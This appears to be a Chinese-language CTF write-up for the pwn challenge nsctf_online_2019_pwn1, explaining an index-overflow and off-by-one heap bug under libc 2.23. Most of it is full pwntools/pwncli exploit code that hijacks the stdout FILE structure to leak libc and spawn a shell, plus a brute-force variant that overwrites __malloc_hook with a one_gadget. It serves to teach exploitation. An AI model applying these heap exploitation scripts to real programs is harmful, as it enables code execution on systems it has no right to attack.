nsctf_online_2019_pwn1

nsctf_online_2019_pwn1

总结

根据本题,学习与收获有:

  • off by one遇到calloc的时候,需要多次布局让2个指针,指向同一个0x70chunk,然后一个先释放,然后利用unsorted bin的分割,使得fd变为main_arena + 88,再用另一个指针去修改fd劫持stdout结构体
  • 分配chunk的时候,可以尽可能的小,对chunksize要有敏感度
  • 伪造IO_FILE结构的时候,注意_lock字段

题目分析

checksec

nsctf_online_2019_pwn1

运行环境为libc-2.23.so

漏洞点

问题出在update函数,看了下其他人的解,好像都没注意到一个索引溢出的漏洞。

nsctf_online_2019_pwn1

利用思路

思路一

由于索引可以溢出,所以溢出上去看看,发现刚好可以溢出修改stdout结构体,因此,思路就很简单:

  • 修改_IO_2_1_stdout__IO_write_base的低字节为0x58_flags0xfbad1887,泄露出libc的地址
  • 再次劫持整个_IO_2_1_stdout_结构,直接伪造vtable,然后利用puts的调用链,执行system("/bin/sh")

泄露地址:

nsctf_online_2019_pwn1

nsctf_online_2019_pwn1

nsctf_online_2019_pwn1

思路二

就是利用unlink爆破四个bit位劫持stdout,然后再劫持__malloc_hookone_gdget去拿shell

  • 利用off by null使用unlink劫持stdout,泄露地址
  • 劫持__malloc_hook

Exp

本地调试exp

两个方法都写在这儿了

from pwncli import *

cli_script()


def add(p:tube, size:int, data:(str, bytes)="deadbeef\n"):
    p.sendlineafter("5.exit\n", "1")
    p.sendlineafter("Input the size:\n", str(size))
    p.sendafter("Input the content:\n", data)


def delete(p:tube, idx:int):
    p.sendlineafter("5.exit\n", "2")
    p.sendlineafter("Input the index:\n", str(idx))


def update(p:tube, idx:int, size:int, data:(str, bytes)):
    p.sendlineafter("5.exit\n", "4")
    p.sendlineafter("Input the index:\n", str(idx))
    p.sendlineafter("Input size:\n", str(size))
    p.sendafter("Input new content:\n", data)


def attack_by_stdout(p:tube, libc:ELF):
    # leak addr by stdout
    payload = flat(0xfbad1887, 0, 0, 0, "\x58")
    update(p, -16, 0xdead, payload)

    leak_addr = u64(p.recvn(8))
    log_address("leak_addr", leak_addr)
    libc_base_addr = leak_addr - 0x3c56a3
    log_address("libc_base_addr", libc_base_addr)
    libc.address = libc_base_addr

    # hijack IO_XSPUTN to system
    file_str = FileStructure()
    file_str.flags = u64("/bin/sh\x00")
    file_str.vtable = libc.sym["_IO_2_1_stdout_"] + 0x10
    file_str._IO_save_base = libc.sym['system']
    file_str._lock = libc_base_addr + 0x3c6780
    update(p, -16, 0xdead, bytes(file_str))

    p.interactive()


def attack_off_by_one(p:tube, libc:ELF):
    add(p, 0x80) # 0
    add(p, 0x68) # 1
    add(p, 0xf0) # 2
    add(p, 0x20) # 3 gap
    
    # free 0
    delete(p, 0)
    update(p, 1, 0x68, flat({0x60:0x100}, length=0x68))
    delete(p, 2)
    
    add(p, 0x80) # 0
    add(p, 0x68) # 2
    add(p, 0xf0) # 4 

    # again
    delete(p, 0)
    update(p, 2, 0x68, flat({0x60:0x100}, length=0x68))
    delete(p, 4)

    #
    add(p, 0xf0, flat({0x80:[0, 0x71]})) # 0
    add(p, 0xf0) # 4

    delete(p, 0)

    delete(p, 1)
    add(p, 0x80)

    secb = input("Give me the second byte: ")
    payload = p16(((int16(secb)) << 8) + 0xdd)
    update(p, 2, 0x2, payload)

    add(p, 0x60) # 1

    p.sendlineafter("5.exit\n", "1")
    p.sendlineafter("Input the size:\n", str(0x59)) # 1

    p.sendafter("Input the content:", flat(["\x00" * 0x33, 0xfbad1887, 0, 0, 0, "\x58"], filler="\x00"))

    leak_addr = u64(p.recvn(8))
    libc_base_addr = leak_addr - 0x3c56a3
    log_address("libc_base_addr", libc_base_addr)

    delete(p, 1)
    payload = p64(libc.sym['__malloc_hook'] - 0x23 + libc_base_addr)
    update(p, 2, 0x8, payload)

    add(p, 0x60)
    # payload = flat(["\x00" * 11, libc_base_addr + 0xf1147, libc.sym['realloc'] + libc_base_addr], filler="\x00")
    payload = flat(["\x00" * 0x13, libc_base_addr + 0xf1147], filler="\x00")
    add(p, 0x60, payload)

    p.sendlineafter("5.exit\n", "1")
    p.sendlineafter("Input the size:\n", str(0x123)) # 1

    p.interactive()   


attack_by_stdout(gift['io'], gift['libc'])

爆破版exp

利用一个装饰器即可进行爆破,只要函数遵循相关调用约定

from pwncli import *

def add(p:tube, size:int, data:(str, bytes)="deadbeef\n"):
    p.sendlineafter("5.exit\n", "1")
    p.sendlineafter("Input the size:\n", str(size))
    p.sendafter("Input the content:\n", data)


def delete(p:tube, idx:int):
    p.sendlineafter("5.exit\n", "2")
    p.sendlineafter("Input the index:\n", str(idx))


def update(p:tube, idx:int, size:int, data:(str, bytes)):
    p.sendlineafter("5.exit\n", "4")
    p.sendlineafter("Input the index:\n", str(idx))
    p.sendlineafter("Input size:\n", str(size))
    p.sendafter("Input new content:\n", data)


# @remote_enumerate_attack(ip='node4.buuoj.cn', port=29958, libc_path="/root/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc-2.23.so", loop_time=0x30)
@local_enumerate_attack(argv="./nsctf_online_2019_pwn1",libc_path="/root/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc-2.23.so", loop_time=0x40)
def attack_off_by_one_loop(p:tube, libc:ELF):
    add(p, 0x80) # 0
    add(p, 0x68) # 1
    add(p, 0xf0) # 2
    add(p, 0x20) # 3 gap
    
    # free 0
    delete(p, 0)
    update(p, 1, 0x68, flat({0x60:0x100}, length=0x68))
    delete(p, 2)
    
    add(p, 0x80) # 0
    add(p, 0x68) # 2
    add(p, 0xf0) # 4 

    # again
    delete(p, 0)
    update(p, 2, 0x68, flat({0x60:0x100}, length=0x68))
    delete(p, 4)

    #
    add(p, 0xf0, flat({0x80:[0, 0x71]})) # 0
    add(p, 0xf0) # 4

    delete(p, 0)

    delete(p, 1)
    add(p, 0x80)

    info("try to hijack stdout...")
    secb = "0x55"
    payload = p16(((int16(secb)) << 8) + 0xdd)
    update(p, 2, 0x2, payload)

    add(p, 0x60) # 1

    p.sendlineafter("5.exit\n", "1")
    p.sendlineafter("Input the size:\n", str(0x59)) # 1

    p.sendafter("Input the content:", flat(["\x00" * 0x33, 0xfbad1887, 0, 0, 0, "\x58"], filler="\x00"))

    leak_addr = u64(p.recvn(8))
    libc_base_addr = leak_addr - 0x3c56a3
    log_address("libc_base_addr", libc_base_addr)

    delete(p, 1)
    payload = p64(libc.sym['__malloc_hook'] - 0x23 + libc_base_addr)
    update(p, 2, 0x8, payload)

    add(p, 0x60)
    # payload = flat(["\x00" * 11, libc_base_addr + 0xf1147, libc.sym['realloc'] + libc_base_addr], filler="\x00")
    payload = flat(["\x00" * 0x13, libc_base_addr + 0xf1147], filler="\x00")
    add(p, 0x60, payload)

    p.sendlineafter("5.exit\n", "1")
    p.sendlineafter("Input the size:\n", str(0x123)) # 1

    p.sendline("cat /flag")
    msg = p.recv()
    if b"flag" in msg:
        print("Get flag:", msg)
        raise PwncliExit()
    else:
        raise RuntimeError()
    
    p.interactive()   


context.arch="amd64"
attack_off_by_one_loop(None, None)

远程爆破效果:

nsctf_online_2019_pwn1

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

上一篇:bbctf_2020_write


下一篇:R0pbaby